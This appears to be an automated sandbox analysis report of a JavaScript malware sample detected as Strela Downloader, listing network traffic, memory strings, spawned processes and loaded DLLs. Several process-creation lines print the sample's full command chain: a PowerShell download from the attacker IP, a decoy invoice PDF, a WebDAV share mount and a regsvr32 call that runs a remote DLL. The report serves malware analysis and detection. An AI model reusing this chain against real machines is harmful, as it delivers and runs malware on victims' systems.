Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1468036768.000001D4D79C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1597345453.000001A669700000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1597345453.000001A66970D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1597345453.000001A6696D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1597345453.000001A66970D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/a
Source: net.exe, 00000007.00000002.1597345453.000001A66970D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/m
Source: net.exe, 00000007.00000002.1597345453.000001A669700000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000007.00000002.1597345453.000001A6696D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: net.exe, 00000007.00000002.1597345453.000001A66970D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/u
Source: svchost.exe, 00000009.00000002.2747852450.0000018850200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1594523054.0000018850400000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2340, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 315965636547620220.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6240

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3124:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3qdr240r.1y2.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\315965636547620220.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1600,i,11809953461382276419,5258699728429330720,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1600,i,11809953461382276419,5258699728429330720,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
